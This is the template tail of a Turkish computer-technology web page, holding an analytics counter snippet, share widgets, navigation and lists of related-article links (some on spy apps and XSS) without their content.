style='display:none;' src='//counter.yadro.ru/hit;artfast?t44.1;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";h"+escape(document.title.substring(0,150))+ ";"+Math.random()+ "border='0' width='1' height='1' loading=lazy>");</script> </div> <div class="data"> <div class="data__top clearfix"> <div class="data__print"> <a href='javascript:window.print(); void 0;'> Baskı</a> </div> </div> <div class="data__bottom clearfix"> <div class="data__share"> <script src="//yastatic.net/es5-shims/0.0.2/es5-shims.min.js"></script> <script src="//yastatic.net/share2/share.js"></script> <div class="ya-share2" data-services="vkontakte,facebook,odnoklassniki,moimir,gplus,twitter,evernote,whatsapp,skype"></div> </div> </div> </div> <div class="navi"> <a href="https://comuedu.ru/tr/windows/informacionnyi-portal-po-bezopasnosti-instrumenty-kali-linux-chto.html" class="navi__prev"></a>  <a href="https://comuedu.ru/tr/solutions/perevod-besprovodnoi-karty-v-rezhim-monitora-nablyudeniya-v-blackarch-s.html" class="navi__next"></a>  </div> </div> </div> <div class="news-blocks clearfix"> <div class="news-block"> <div class="papers"> <div class="papers__title">Ayrıca ilginç:</div> <div class="papers__items"> <style> </style> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/tr/smart-tv/shpion-iphone-bez-dzheilbreika-programma-shpion-dlya-iphone-i-android-smartfonov.html"><img src="/uploads/fb2d2e36750ac6f57511a9c5031b4323.jpg" style="width:70px; height:70px;" / loading=lazy></a> </div> <div class="papers__ovh"> <div class="papers__name"> <a href="https://comuedu.ru/tr/smart-tv/shpion-iphone-bez-dzheilbreika-programma-shpion-dlya-iphone-i-android-smartfonov.html">İPhone ve Android akıllı telefonlar için casus program</a> </div> <div class="papers__category"> </div> </div> </div> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/tr/the-device/isklyuchit-povtoryayushchiesya-znacheniya-v-excel-kak-v-excel-udalit-dublikaty-dannyh.html"><img src="/uploads/65eda9c68ebf41c4cd1076d8e2cc08b2.jpg" style="width:70px; height:70px;" / loading=lazy></a> </div> <div class="papers__ovh"> <div class="papers__name"> <a href="https://comuedu.ru/tr/the-device/isklyuchit-povtoryayushchiesya-znacheniya-v-excel-kak-v-excel-udalit-dublikaty-dannyh.html">Excel'de yinelenen veriler nasıl kaldırılır</a> </div> <div class="papers__category"> </div> </div> </div> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/tr/program/poleznye-hakerskie-programmy-dlya-kompyutera-podborka.html"><img src="/uploads/c1df8b89aa0018e6fa3bfede38423f93.jpg" style="width:70px; height:70px;" / loading=lazy></a> </div> <div class="papers__ovh"> <div class="papers__name"> <a href="https://comuedu.ru/tr/program/poleznye-hakerskie-programmy-dlya-kompyutera-podborka.html">Android için bir dizi "hacker" programı</a> </div> <div class="papers__category"> </div> </div> </div> </div> </div> </div> <div class="news-block"> <div class="papers"> <div class="papers__title">Okumanızı öneririz:</div> <div class="papers__items"> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/tr/smartphone/kak-uznat-poslednee-mestonahozhdenie-telefona-cherez-gugl-kak-naiti.html"> <img width="50" height="50" src="/uploads/5cf0b0134dbbe0f0212062fc8b0e74a4.jpg" class="attachment-50 size-50 wp-post-image" alt="Kaybolan veya çalınan bir telefon nasıl bulunur" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a> </div> <div class="papers__ovh"> <div class="papers__date">19.12.2020</div> <div class="papers__name"> <a href="https://comuedu.ru/tr/smartphone/kak-uznat-poslednee-mestonahozhdenie-telefona-cherez-gugl-kak-naiti.html">Kaybolan veya çalınan bir telefon nasıl bulunur</a> </div> </div> </div> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/tr/the-device/yandeks-manul-ustanovka-veb-antivirusa-manul-ot-yandeks-princip.html"> <img width="50" height="50" src="/uploads/e064908b81054a4030b103e894d4aec1.jpg" class="attachment-50 size-50 wp-post-image" alt="Yandex'den bir web antivirüs yazılımı yükleme" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a> </div> <div class="papers__ovh"> <div class="papers__date">19.12.2020</div> <div class="papers__name"> <a href="https://comuedu.ru/tr/the-device/yandeks-manul-ustanovka-veb-antivirusa-manul-ot-yandeks-princip.html">Yandex'den bir web antivirüs yazılımı yükleme</a> </div> </div> </div> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/tr/solutions/virusnaya-ataka-shifrovalshchik-virus-shifrovalshchik-failov-wanna-cry-kak.html"> <img width="50" height="50" src="/uploads/ae736c4e2a07183662d8585337682dca.jpg" class="attachment-50 size-50 wp-post-image" alt="Wanna Cry file ransomware virus - veriler nasıl korunur ve kaydedilir" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a> </div> <div class="papers__ovh"> <div class="papers__date">19.12.2020</div> <div class="papers__name"> <a href="https://comuedu.ru/tr/solutions/virusnaya-ataka-shifrovalshchik-virus-shifrovalshchik-failov-wanna-cry-kak.html">Wanna Cry file ransomware virus - veriler nasıl korunur ve kaydedilir</a> </div> </div> </div> </div> </div> </div> </div> <div class="rate clearfix"> <div class="papers__title">Konuya devam etmek:</div> </div> <div class="rate clearfix"> <div class="rate__img"> <a href="https://comuedu.ru/tr/smart-tv/antivirus-ot-yandeksa-manual-kak-polzovatsya-antivirusom-manul-ot-yandeks.html"> <img width="150" height="150" src="/uploads/1c9b8745629592703c1e59ca0be29e53.jpg" class="attachment-alm-thumbnail size-alm-thumbnail wp-post-image" alt="Yandex'in Manul antivirüsünü nasıl kullanabilirim?" sizes="(max-width: 150px) 100vw, 150px" / loading=lazy> </a> </div> <div class="rate__ovh"> <div class="rate__label"> <span>Akıllı televizyon</span> </div> <div class="rate__name"> <a href="https://comuedu.ru/tr/smart-tv/antivirus-ot-yandeksa-manual-kak-polzovatsya-antivirusom-manul-ot-yandeks.html">Yandex'in Manul antivirüsünü nasıl kullanabilirim?</a> </div> <div class="rate__description"> <p>UPD. Yandex, antivirüs yazılımını geliştirmeyi ve desteklemeyi bıraktı. RIP Manul: (Revisium şirketi ile birlikte Yandex, Manul adlı siteler için bir antivirüs çıkardı. Bu ...</p> </div> </div> </div>  </div> <div class="button-menu"></div> <div class="page__right"> <div class="menu"> <div class="menu__exit">×</div> <ul> <li><a href="https://comuedu.ru/tr/category/apple/" class="link-catalog">elma</a> </li> <li><a href="https://comuedu.ru/tr/category/routers/" class="link-catalog">Yönlendiriciler</a> </li> <li><a href="https://comuedu.ru/tr/category/computer/" class="link-catalog">Bir bilgisayar</a> </li> <li><a href="https://comuedu.ru/tr/category/smartphone/" class="link-catalog">Akıllı telefon</a> </li> <li><a href="https://comuedu.ru/tr/category/internet/" class="link-catalog">internet</a> </li> <li><a href="https://comuedu.ru/tr/category/wi-fi/" class="link-catalog">Kablosuz internet</a> </li> <li><a href="https://comuedu.ru/tr/category/linux/" class="link-catalog">Linux</a> </li> <li><a href="https://comuedu.ru/tr/category/windows/" class="link-catalog">pencereler</a> </li> </ul> </div> <div id="husevi1" style="height:400px;width:290px;" align="center"></div> <div class="page__hidden-mobile"> <div class="papers"> <div class="papers__tabs"> <div class="active" data-eq="0">Yeni makaleler</div> <span>/</span> <div data-eq="1">Popüler</div> </div> <div class="papers__blocks"> <div class="papers__block active"> <div class="papers__items"> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/tr/the-device/vstavlyaem-proizvolnyi-kod-v-posty-i-stranicy-wordpress-vstavlyaem-proizvolnyi-kod.html"> <img width="50" height="50" src="/uploads/d32be11800c576cdf4040823ad05379b.jpg" class="attachment-50 size-50 wp-post-image" alt="WordPress yazılarına ve sayfalarına rastgele kod ekleyin Doğru hizmetleri bulmak" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a> </div> <div class="papers__ovh"> <div class="papers__date">19.12.2020</div> <div class="papers__name"> <a href="https://comuedu.ru/tr/the-device/vstavlyaem-proizvolnyi-kod-v-posty-i-stranicy-wordpress-vstavlyaem-proizvolnyi-kod.html">WordPress yazılarına ve sayfalarına rastgele kod ekleyin Doğru hizmetleri bulmak</a> </div> <div class="papers__category"> <a href="https://comuedu.ru/tr/category/the-device/">Cihazlar</a> </div> </div> </div> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/tr/network/easy-hack-kak-dobyt-dannye-cherez-cross-site-scripting-inclusion-ispolzovanie-xss-uyazvimostei-po.html"> <img width="50" height="50" src="/uploads/45ec14b481eb91f79fff700c3bacf64f.jpg" class="attachment-50 size-50 wp-post-image" alt="XSS güvenlik açıklarından en iyi şekilde yararlanma Xss noscript uyarısı" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a> </div> <div class="papers__ovh"> <div class="papers__date">19.12.2020</div> <div class="papers__name"> <a href="https://comuedu.ru/tr/network/easy-hack-kak-dobyt-dannye-cherez-cross-site-scripting-inclusion-ispolzovanie-xss-uyazvimostei-po.html">XSS güvenlik açıklarından en iyi şekilde yararlanma Xss noscript uyarısı</a> </div> <div class="papers__category"> <a href="https://comuedu.ru/tr/category/network/">Ağlar</a> </div> </div> </div> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/tr/android/raspoznavanie-lica-po-fotografii-poisk-po-licam-kak-naiti.html"> <img width="50" height="50" src="/uploads/bdbb793be958ff8785d960688dbbbdf9.jpg" class="attachment-50 size-50 wp-post-image" alt="Yüzlere göre arama: bir kişinin diğer fotoğraflarını bulma (Yandex ve Google)" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a> </div> <div class="papers__ovh"> <div class="papers__date">19.12.2020</div> <div class="papers__name"> <a href="https://comuedu.ru/tr/android/raspoznavanie-lica-po-fotografii-poisk-po-licam-kak-naiti.html">Yüzlere göre arama: bir kişinin diğer fotoğraflarını bulma (Yandex ve Google)</a> </div> <div class="papers__category"> <a href="https://comuedu.ru/tr/category/android/">Android</a> </div> </div> </div> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/tr/internet/lost-android-kak-rabotaet-kak-naiti-poteryannyi-telefon-obzor-programm.html"> <img width="50" height="50" src="/uploads/d620370a613713bf89b26e3113643f75.jpg" class="attachment-50 size-50 wp-post-image" alt="Kayıp bir telefon nasıl bulunur - kayıp bir aygıtı iade etmenize yardımcı olabilecek programlara genel bakış" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a> </div> <div class="papers__ovh"> <div class="papers__date">19.12.2020</div> <div class="papers__name"> <a href="https://comuedu.ru/tr/internet/lost-android-kak-rabotaet-kak-naiti-poteryannyi-telefon-obzor-programm.html">Kayıp bir telefon nasıl bulunur - kayıp bir aygıtı iade etmenize yardımcı olabilecek programlara genel bakış</a> </div> <div class="papers__category"> <a href="https://comuedu.ru/tr/category/internet/">internet</a> </div> </div> </div> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/tr/program/instrukciya-po-ocifrovke-video-pri-pomoshchi-easycap-i-virtualdub-bez-rassinhronizacii.html"> <img width="50" height="50" src="/uploads/5a47499d80d6e417ce66960c11cc3818.jpg" class="attachment-50 size-50 wp-post-image" alt="Ses hızlı kurulum talimatları ile kolay CAP video adaptörü çevrimiçi mağaza satın alın Easycap usb 2 disk görüntüsü" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a> </div> <div class="papers__ovh"> <div class="papers__date">19.12.2020</div> <div class="papers__name"> <a href="https://comuedu.ru/tr/program/instrukciya-po-ocifrovke-video-pri-pomoshchi-easycap-i-virtualdub-bez-rassinhronizacii.html">Ses hızlı kurulum talimatları ile kolay CAP video adaptörü çevrimiçi mağaza satın alın Easycap usb 2 disk görüntüsü</a> </div> <div class="papers__category"> <a href="https://comuedu.ru/tr/category/program/">Programlar</a> </div> </div> </div> <div class="papers__item"> <div class="papers__img"> <a href="https://comuedu.ru/tr/windows/visual-studio-code-rasshireniya-poleznye-plaginy-dlya-visual-studio-code.html"> <img width="50" height="50" src="/uploads/1224e7b334aaccd055d00696f54ea05f.jpg" class="attachment-50 size-50 wp-post-image" alt="Visual Studio Code için faydalı eklentiler" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a> </div> <div class="papers__ovh"> <div class="papers__date">19.12.2020</div> <div class="papers__name"> <a href="https://comuedu.ru/tr/windows/visual-studio-code-rasshireniya-poleznye-plaginy-dlya-visual-studio-code.html">Visual Studio Code için faydalı eklentiler</a> </div> <div class="papers__category"> <a href="https://comuedu.ru/tr/category/windows/">pencereler</a> </div> </div> </div> </div> </div> <div class="papers__block"> <div class="papers__items"> <div class="papers__item"> <div class="papers__img"><a href="https://comuedu.ru/tr/smart-tv/proverit-hesh-summu-vychislenie-hesha-principy-ispolzovaniya-kontrolnyh.html"> <img width="50" height="50" src="/uploads/d60de2332a9ed615922ae8302c021087.jpg" class="attachment-50x50 size-50x50 wp-post-image" alt="Hash toplamını kontrol edin. Karma hesaplama. Sağlama toplamı kullanma ilkeleri" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a></div> <div class="papers__ovh"> <div class="papers__name"> <a href="https://comuedu.ru/tr/smart-tv/proverit-hesh-summu-vychislenie-hesha-principy-ispolzovaniya-kontrolnyh.html">Hash toplamını kontrol edin. Karma hesaplama. Sağlama toplamı kullanma ilkeleri</a> </div> <div class="papers__category"><a href="https://comuedu.ru/tr/category/smart-tv/" rel="tag">Akıllı televizyon</a></div> </div> </div> <div class="papers__item"> <div class="papers__img"><a href="https://comuedu.ru/tr/the-device/sposoby-razdachi-wifi-bez-routera-vozmozhno-li-nastroit-router-bez.html"> <img width="50" height="50" src="/uploads/1a96fc3f755133c3126f259b56b17eab.jpg" class="attachment-50x50 size-50x50 wp-post-image" alt="Bilgisayarsız bir yönlendirici kurmak mümkün mü?" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a></div> <div class="papers__ovh"> <div class="papers__name"> <a href="https://comuedu.ru/tr/the-device/sposoby-razdachi-wifi-bez-routera-vozmozhno-li-nastroit-router-bez.html">Bilgisayarsız bir yönlendirici kurmak mümkün mü?</a> </div> <div class="papers__category"><a href="https://comuedu.ru/tr/category/the-device/" rel="tag">Cihazlar</a></div> </div> </div> <div class="papers__item"> <div class="papers__img"><a href="https://comuedu.ru/tr/android/kak-redaktirovat-pdf-faily-na-kompyutere-kak-sohranit-v-pdf.html"> <img width="50" height="50" src="/uploads/228be71ed8c5aeba3b370a500fb92015.jpg" class="attachment-50x50 size-50x50 wp-post-image" alt="Ofis belgesini PDF'ye libreoffice dosyası olarak pdf olarak kaydetme" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a></div> <div class="papers__ovh"> <div class="papers__name"> <a href="https://comuedu.ru/tr/android/kak-redaktirovat-pdf-faily-na-kompyutere-kak-sohranit-v-pdf.html">Ofis belgesini PDF'ye libreoffice dosyası olarak pdf olarak kaydetme</a> </div> <div class="papers__category"><a href="https://comuedu.ru/tr/category/android/" rel="tag">Android</a></div> </div> </div> <div class="papers__item"> <div class="papers__img"><a href="https://comuedu.ru/tr/network/kak-ubrat-bezopasnyi-rezhim-na-telefone-digma-bezopasnyi-rezhim-na.html"> <img width="50" height="50" src="/uploads/7b459c8cfa901b9b4d23fee668dad30a.jpg" class="attachment-50x50 size-50x50 wp-post-image" alt="Android OS'de Güvenli Mod" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a></div> <div class="papers__ovh"> <div class="papers__name"> <a href="https://comuedu.ru/tr/network/kak-ubrat-bezopasnyi-rezhim-na-telefone-digma-bezopasnyi-rezhim-na.html">Android OS'de Güvenli Mod</a> </div> <div class="papers__category"><a href="https://comuedu.ru/tr/category/network/" rel="tag">Ağlar</a></div> </div> </div> <div class="papers__item"> <div class="papers__img"><a href="https://comuedu.ru/tr/program/otklyuchenie-proverki-parolya-v-windows-10-kak-eto-rabotaet.html"> <img width="50" height="50" src="/uploads/34b566430ce885d67e704d25524468bc.jpg" class="attachment-50x50 size-50x50 wp-post-image" alt="Windows 10'da şifre doğrulamayı devre dışı bırakın" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a></div> <div class="papers__ovh"> <div class="papers__name"> <a href="https://comuedu.ru/tr/program/otklyuchenie-proverki-parolya-v-windows-10-kak-eto-rabotaet.html">Windows 10'da şifre doğrulamayı devre dışı bırakın</a> </div> <div class="papers__category"><a href="https://comuedu.ru/tr/category/program/" rel="tag">Programlar</a></div> </div> </div> <div class="papers__item"> <div class="papers__img"><a href="https://comuedu.ru/tr/smartphone/ustanovka-windows-10-razdely-diska-luchshie-programmy-dlya-razdeleniya.html"> <img width="50" height="50" src="/uploads/032a23ccfb95616beed3f929315af35d.jpg" class="attachment-50x50 size-50x50 wp-post-image" alt="Bir sabit diski bölümlemek (bölmek) için en iyi programlar" sizes="(max-width: 50px) 100vw, 50px" / loading=lazy> </a></div> <div class="papers__ovh"> <div class="papers__name"> <a href="https://comuedu.ru/tr/smartphone/ustanovka-windows-10-razdely-diska-luchshie-programmy-dlya-razdeleniya.html">Bir sabit diski bölümlemek (bölmek) için en iyi programlar</a> </div> <div class="papers__category"><a href="https://comuedu.ru/tr/category/smartphone/" rel="tag">Akıllı telefon</a></div> </div> </div> </div> </div> </div> </div> <div class="comments"> <div id="husevi2" class="husevi-sticky" style="height:500px;width:254px;" align="center"></div> </div> </div> </div> </div> </div> </div> <div class="footer"> <div class="footer__top"> <div class="cnt"> <div class="footer__nav"> <ul> <li><a href="">Kişiler</a></li> <li><a href="">Reklâm</a></li> <li><a href="">Site hakkında</a></li> </ul> </div> <div class="footer__counter"> </div> <div class="footer__logo1" align="right"> <img style="max-height:60px;" src="/assets/logo.png" alt="" loading=lazy> </div> </div> </div> <div class="footer__bottom"> <div class="cnt"> <div class="footer__copyright"> © comuedu.ru 2020 Bilgisayar teknolojisi hakkında site</div> </div> </div> </div> <a href="https://comuedu.ru/tr/#top" class="up"></a> </div> <script src="https://comuedu.ru/wp-content/themes/tehnika-expert/js/jquery-1.12.0.js"></script> <script src="https://comuedu.ru/wp-content/themes/tehnika-expert/js/owl.carousel.min.js"></script> <script src="https://comuedu.ru/wp-content/themes/tehnika-expert/js/mousewheel.js"></script> <script src="https://comuedu.ru/wp-content/themes/tehnika-expert/js/jscrollpane.min.js"></script> <script src="https://comuedu.ru/wp-content/themes/tehnika-expert/js/scripts.js?v=8"></script>  <script type='text/javascript' src='https://comuedu.ru/wp-content/plugins/table-of-contents-plus/front.min.js?ver=1509'></script> <script type='text/javascript' src='https://comuedu.ru/wp-content/plugins/wp-ajaxify-comments/js/wp-ajaxify-comments.min.js?ver=1.5.0'></script> <script type='text/javascript' src='https://comuedu.ru/wp-content/plugins/wp-polls/polls-js.js?ver=2.73.8'></script> <script type='text/javascript' src='https://comuedu.ru/wp-content/plugins/wp-postratings/js/postratings-js.js?ver=1.85'></script> <script type='text/javascript' src='https://comuedu.ru/wp-content/plugins/wp_testme/js/testme.js?ver=1.1'></script> <script type='text/javascript' src='/wp-includes/js/comment-reply.min.js?ver=4.9'></script> <script type='text/javascript'> var q2w3_sidebar_options = new Array(); q2w3_sidebar_options[0] = { "sidebar" : "sidebar-2", "margin_top" : 10, "margin_bottom" : 112, "stop_id" : "", "screen_max_width" : 0, "screen_max_height" : 0, "width_inherit" : false, "refresh_interval" : 1500, "window_load_hook" : false, "disable_mo_api" : false, "widgets" : ['cb_widget-2'] } ; </script> <script type='text/javascript' src='https://comuedu.ru/wp-content/plugins/q2w3-fixed-widget/js/q2w3-fixed-widget.min.js?ver=5.0.4'></script> <script type='text/javascript' src='/wp-includes/js/wp-embed.min.js?ver=4.9'></script> <script type="text/javascript">  </script><br> <br> </body> </html>